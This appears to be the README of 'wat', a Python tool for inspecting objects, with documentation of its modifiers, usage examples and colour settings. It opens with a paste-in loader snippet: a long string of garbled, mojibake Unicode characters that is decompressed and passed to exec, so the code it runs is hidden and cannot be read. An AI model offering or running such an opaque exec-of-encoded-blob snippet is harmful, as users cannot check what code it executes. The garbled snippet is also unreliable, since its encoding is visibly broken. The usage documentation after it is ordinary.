„ฌ๓ †ณ๓ …ต๓ ‡Š๓ …ตโทบ๓ …‡๓ „ฉ๓ „ถ๓ „™๓ …ˆ๓ ‡‹๓ †ก๓ „œ๓ †ฝ๓ „ท๓ ‡ ๓ †ดโทฒ๓ „ก๓ ‡ฌ๓ …€๓ „„๓ „ท๓ „Ÿ๓ †ข๓ „๓ ‡š๓ …๓ „œ๓ …ฅ๏ปฟ๓ †๓ …ฉ๓ „ˆ๓ „“๓ †‡๓ „ท๓ „ด๓ „ฟ๓ ‡Ž๓ „ต๓ ‡—๓ „นโทพ๓ ‡ช๓ †ฆโทด๓ ‡ค๓ „ต๓ „ช๓ …ฆ๓ „ท๓ ‡‚๓ „ก๓ ‡…๓ …“๓ „ฑ๓ …—๓ …ฏ๓ „‰๓ …”๓ ‡ข๓ …๓ ……๓ …๓ ‡Ž๓ „ˆ๓ †ˆ๓ ‡Š๓ ‡ˆ๓ ‡‰๓ „Ž๓ †›๓ „™๓ …ƒ๓ †ถ๓ ‡จ๓ ‡ญ๓ „ก๓ †ฉ๓ …–๓ „›๓ „นโทพ๓ „๓ ‡–๓ „ฎ๓ …พ๓ †ก๓ …™๓ ‡„๓ …ฏ๓ …š๓ ‡„๓ ‡ก๓ †ถ๓ „ฏ๓ „๓ ‡ƒ๓ „‰๓ †‡๓ ‡†๓ †‰๓ ‡ฌ๓ …ง๓ …™๓ „ฏ๓ „ฃโทท๓ ‡ช๓ „ธ๓ †ถโทด๓ †ข๓ ‡ƒ๓ „ก๓ ‡ฅโทฐ๓ ‡‡๓ ‡๓ „ง๓ †›๓ †ฎ๓ †–๓ „น๓ …ฎ๓ †‹โทน๓ ‡Š๓ †„๓ „ญ๓ …๓ †บ๓ „‰๓ ‡„๓ †ฝ๓ †ฐ๓ …คโทป๓ …ด๓ †ฝ๓ †–๓ „บ๓ „‚๓ „ต๓ †ƒโทฐ๓ „ƒ๓ „ป๓ ‡™๓ ‡’๓ „˜๓ „ฉ๓ …๓ „ณ๓ ‡ฅ๓ …’๓ …ขโทฝ๓ ‡ฌ๓ ‡…๓ †ก๓ …ป๓ …˜๓ …Š๓ †น๓ …ผ๓ „œ๓ …›๓ ‡ฉ๓ †ซโทป๓ † ๓ †žโทฒ๓ „„๓ „๓ ‡ฉ๓ †ฉ๓ †ฃโทท๓ †ž๓ ‡‰โทต๓ †ก๓ …ป๓ …ท๓ „ฅ๓ „จ๓ ‡๓ …ด๓ „˜๓ ‡ฎ๓ †‡๓ ‡˜๓ …ฝ๓ …ฆ๓ …˜๓ „ฝ๓ …ถ๓ †ฒ๓ ‡ฃ๓ …˜๓ †‘๓ …๓ „๓ †ฉ๓ …ซ๓ „ป๓ „ฐ๓ †ผ๓ †›๓ †˜๓ ‡•๓ „ป๓ …ฆ๓ „ต๓ ‡™๓ †„๓ …ณ๓ †ฌ๓ „‰๓ „๓ „ƒโทน๓ …›๓ ‡„๓ †ฐ๓ †ƒ๓ ‡ž๓ ‡ ๓ „•๓ „ป๓ ‡๓ „’๓ …บ๓ ‡๓ …Ž๓ †ก๓ …ฝ๓ ‡‘๓ ‡”๓ „•๓ …ท๓ „†โทฑ๓ …บโทบ๓ ‡ชโทด๓ ‡คโทด๓ †Œ๓ „’๓ †ง๓ „˜๓ †œ๓ ‡ญ๓ †ƒ๓ …จ๓ †ข๓ ‡˜๓ „‘๓ †บ๓ ‡ฎ๓ … ๓ „ผ๓ „ฑ๓ †–๓ †Œ๓ ‡ฉ๓ †–๓ †พ๓ … ๓ „‡๓ …พ๓ „ต๓ ‡จ๓ ‡ง๓ „„๓ ‡†๓ †Œ๓ †ณ๓ „ฒโทน๓ „™๓ †ณ๓ „ฅ๓ „Š๓ „บ๏ปฟ๓ „ž๓ …œ๓ „ด๓ „ด๓ „ฆ๓ †ฌ๓ ‡–๓ „‚๓ „ด๓ …„๓ …ด๓ …ถ๓ ‡€๓ †ฟ๓ …ถ๓ ‡œ๓ „ท๓ „ฝ๓ ‡ฏ๓ „ฉ๓ ‡ˆ๓ † ๓ …™๓ „ถ๓ …ป๓ †›๓ ‡”๓ …‡๓ …ฌโทป๓ …ฒ๓ †œ๓ †€๓ †ผ๓ …ธ๓ †ง๓ ‡๓ †น๓ ‡ฏ๓ …ญ๓ …ฌ๓ …œ๓ ‡ฅ๓ †—๓ †ธ๓ †๓ „…๓ †’๓ ‡ฅโทน๓ ‡‡๓ „๓ †”๓ ‡ญ๓ …๓ „ฑ๓ ‡ฏ๓ „พ๓ „Ž๓ †ฃโทน๓ „๓ „ฐ๓ ‡ช๓ ‡ฆ๓ „ฃ๓ …นโทธ๓ …˜๓ †€โทฒ๓ „ฃ๓ „‡๓ „ ๓ †ฏ๓ †พ๓ …ฉ๓ „๓ „ฒ๓ ‡ญ๓ †ฎ๓ „ฟ๓ …‚๓ ‡“๓ …ซ๓ …ข๓ „ฆ๓ …ง๓ „ก๓ „™๓ ‡ฏ๓ …‚๓ †ฉ๓ „ฃโทน๓ „—๓ ‡Ÿ๓ †™๓ …จ๓ †›๓ ‡ฌ๓ …ชโทถ๓ †ฅ๓ „ค๓ †น๓ „ž๓ †ธ๓ …ช๓ …ฎ๓ … ๓ †ฅ๓ ‡ฆ๓ †‡๓ †œ๓ „ฃ๓ †ฒ๓ ‡ƒ๓ ‡Š๓ „…๓ …พ๓ …ณ๓ ‡ข๓ ……๓ „ฅ๓ „”๓ †š๓ ‡ก๓ „“๓ ‡ง๓ „ตโทธ๓ „„๓ ……โทปโทฒ๓ ‡๓ ‡ž๓ …ญ๓ „—๓ „“๓ „Ÿ๓ ‡ ๓ „น๓ „ฝ๓ „‡๓ †ด๓ „›๓ „œ๓ …ฏ๓ …š๓ …ฒ๓ †ˆ๓ „˜โทพ๓ …ฟ๓ ‡…๓ †œโทฝ๓ …ก๓ ‡ˆ๓ †ด๓ ‡ฃ๓ ‡—๓ †Ž๓ †ƒ๓ ‡‰๓ ‡๓ †๓ …ˆ๓ ‡ˆ๓ †๓ „˜๓ †‰๓ †…๓ „Š๓ …ƒโทน๓ †›๓ †—๏ปฟ๓ †Œ๓ †Ž๓ „…๓ ‡ฆ๓ „ฏ๓ „œ๓ …๓ „œ๓ …ถ๓ …ค๓ „Š๓ …๓ …–๓ „€๓ †ƒโทบ๓ …—๓ …๓ …ด๓ †๓ …ฒ๓ „ฌ๓ ‡ฌ๓ ‡ ๓ †๓ †ผ๓ …ณ๓ ‡Œ๓ ‡๓ „˜๓ ‡ค๓ ‡ฅ๓ ‡‘๓ …™๓ „’๓ ‡ขโทพ๓ ‡Ÿ๓ ‡ฅ๓ †ณ๓ „ฏ๓ „พ๏ปฟ๓ ‡ƒ๓ †‚๓ …ณ๓ „ณ๓ „บ๓ „ž๓ †’๓ ‡…๓ ‡๓ …๓ „ฑ๓ …ฎ๓ ‡จ๓ †˜๓ ‡’๓ „ฟ๓ ‡‹๓ …’๓ …ˆ๓ …”๓ „๓ ‡‚๓ …ง๓ †ฒ๓ †๓ †ฏโทผ๓ †˜โทฒ๓ ‡ง๓ †ชโทผโทด๓ ‡ญ๓ †ฑ๓ „ฉโทฝ๓ †ฃ๓ ‡ฎ๓ ‡ฏ๓ ‡›๓ …ฃ๓ „ƒ๓ †ฌ๓ „ฐ๓ ‡จ๓ „„๓ ‡Ÿ๓ „”๓ „ซ๓ „ˆ๓ †ผ๓ „๓ „ฆ๓ …‹๓ „ฟ๓ „ณ๓ …œ๓ ‡ˆ๓ „ป๓ ‡ฆโทฝ๓ †ฑ๓ †จ๓ †Ÿ๓ ‡โทดโทฑ๓ ‡•๓ ‡†๓ †ช๓ †ฉโทน๓ …œ๓ ‡‘๓ …€๓ …–๓ …ซ๓ †๓ …”๓ …ฉ๓ …ฏโทท๓ ‡’๓ „ป๓ …ณ๓ †๓ ‡๓ †ญ๓ †ช๓ …ป๓ …œ๓ †นโทณ๓ †ข๓ ‡„๓ …ซโทนโทธ๓ „Ÿ๓ „ฎ๓ †€๓ …ต๓ „œ๓ †‹๓ „“๓ ‡Ž๓ …ฅ๓ † ๓ „€๓ „ž๓ †ฐ๓ †€โทฒ๓ …‰๓ „˜๓ …ป๓ „ฑ๓ „Š๏ปฟ๓ …Œ๓ †Œ๏ปฟ๓ …ณ๓ „‚๓ †„๓ …–๓ „‡๓ …ป๓ †Š๓ „ขโทฑ๓ …พ๓ ‡๓ ‡‘๓ ‡Š๓ ‡›๓ ‡„๓ ‡†๓ † ๓ …‚๓ … ๓ †ป๓ ‡„๓ „ ๓ „„๓ …ฟ๓ †ฃ๓ …Š๓ †ฃ๓ ‡ก๓ …ณ๓ †ฝ๓ „…๓ „๓ …’๓ †ž๓ †ฎ๓ ‡†๓ „ˆ๓ „ƒ๓ †ค๓ …ด๓ „พ๓ „ก๓ ‡…๓ „€๓ …“๓ †ซ๓ †ข๓ ‡žโทธ๓ „ฟ๓ †ฃ๓ ‡ช๓ ‡•๓ ‡‰'
exec(zlib.decompress(bytes(ord(c)&255 for c in glyph[1:])).decode(), globals())
wat / 'WAT is going on?'

Usage & modifiers

wat can quickly inspect things by using the division operator (for faster typing without parentheses). A short syntax wat / foo is equivalent to wat(foo).

You can call wat.modifier / foo with the following modifiers:

  • .short or .s to hide the attributes (variables and methods inside the object) and print only value, type, parent types, signature and documentation
  • .dunder to display dunder attributes (starting with double underscore)
  • .long to show non-abbreviated values and docstrings
  • .code to reveal the source code of a function, method, or class
  • .nodocs to hide documentation for functions and classes
  • .caller to show how and where the inspection was called (works in files, not REPL)
  • .public to show only public attributes (hiding private attributes)
  • .all to include all available information
  • .ret to return the object back after the inspection
  • .str to return the output string instead of printing it
  • .gray to disable colorful output in the console
  • .color to enforce colorful outputs in the console

You can chain modifiers, e.g. wat.short.str.gray / 'foo'.

Call wat.locals to inspect local variables.
Call wat.globals to inspect global variables.

You can explore any object. In Python, an "object" refers to not only to data structures, but also to functions, classes, modules, built-in types, and more.

Type wat in the interpreter to learn more about this object itself.

There are several alternative syntaxes that are equivalent. Choose the one that works best for you:

wat.short / 'foo'  # fast typing
wat.short('foo')
wat('foo', short=True)  # natural Python syntax
'foo' | wat.short  # Unix piping

Use Case Examples

Determine type

In a dynamic typing language like Python, it's often hard to determine the type of an object. WAT Inspector can help you with that by showing the name of the type with the module it comes from.

>>> wat.short / (1,)
value: (1,)
type: tuple
len: 1
>>> wat.short / {None}
value: {None}
type: set
len: 1
>>> wat.short / user
str: admin
repr: <User: admin>
type: django.contrib.auth.models.User
parents: django.contrib.auth.models.AbstractUser, django.contrib.auth.base_user.AbstractBaseUser, django.contrib.auth.models.PermissionsMixin, django.db.models.base.Model, django.db.models.utils.AltersData

Now that you've identified the actual type, you can put the type annotations in your code to reduce further confusion.

Look up methods

By listing out methods with their signatures and docstrings, you can easily grasp how to use the unknown object.

wat / ['foo']


Use wat.long if you want to see full doscstrings.

Discover function's signature

See the docstrings and the signature of a function to learn how to use it.

wat / str.split

Look up attributes

List the attribues and their types to see what's really inside the inspected object.

wat / re.match('(\d)_(.*)', '1_title')

Explore modules

Another use case is to explore modules. You can list the functions, classes and sub-modules of a selected module.

import pathlib
wat / pathlib

Then, you can navigate further, e.g. wat / pathlib.fnmatch.

Explore dunder attributes

By default, WAT Inspector hides attributes starting with __. Use wat.dunder to see them.

wat.dunder / {}

Review the code

Look up the source code of a function to see how it really works.

import colorsys
wat.code / colorsys.hsv_to_rgb

Prettify unreadable collections

Nested dictionaries and lists get nicely formatted, indented output:

Debug with breakpoint

You can use Python's breakpoint() keyword to launch an interactive debugger in your program. Attach to the interpreter and inspect things on the spot.

(Pdb) import wat  # or paste Insta-Load snippet
(Pdb) wat / foo  # inspect local variables
...
(Pdb) c  # continue execution

Look up local variables

Use wat.locals or wat.globals to look up the local and global variables respectively.

Learn Python

With these snippets you can better understand Python internals.

reversed([]) == reversed([])
# False
wat.s / reversed([])
# value: <list_reverseiterator object at 0x76749d1cb400>
# type: list_reverseiterator
wat / type('ObjectCreator', (), {})
# value: <class '__main__.ObjectCreator'>
# type: type
# signature: class ObjectCreator()

wat / type
# value: <class 'type'>
# type: type
# signature: class type(โ€ฆ)
# """
# type(object) -> the object's type
# type(name, bases, dict, **kwds) -> a new type
# """
# 
# Public attributes:
#   def mro(self, /) # Return a type's method resolution order.
from typing import List
wat.s / List[str]
# value: typing.List[str]
# type: typing._GenericAlias
# parents: typing._BaseGenericAlias, typing._Final
# signature: def List(*args, **kwargs)

wat(str | None)
# value: str | None
# type: types.UnionType

Explore Python built-ins:

wat / __builtins__
wat / ...

Inspect WAT itself

wat.dunder / wat
wat.code / wat.__truediv__

Environment variables

  • WAT_COLOR="false" to disable colorful output in the console.
  • WAT_COLOR="true" to enforce colorful outputs even in non-tty environment.

Color theme

You can customize the color theme by setting the environment variable WAT_COLORS. Here's the default theme which you can modify with your own ANSI color codes:

export WAT_COLORS="BAR=0;34,TRAIT=1;34,HEAD=1;37,STR=0;32,NUMBER=0;31,NONE=0;35,TRUE=1;32,FALSE=1;31,DOCS=2;37,KEYWORD=0;34,CALLABLE=1;32,VARIABLE=1;33,CODE=0;33"

References

About

Deep inspection of Python objects

Topics

Resources

License

Stars

Watchers

Forks

Contributors 7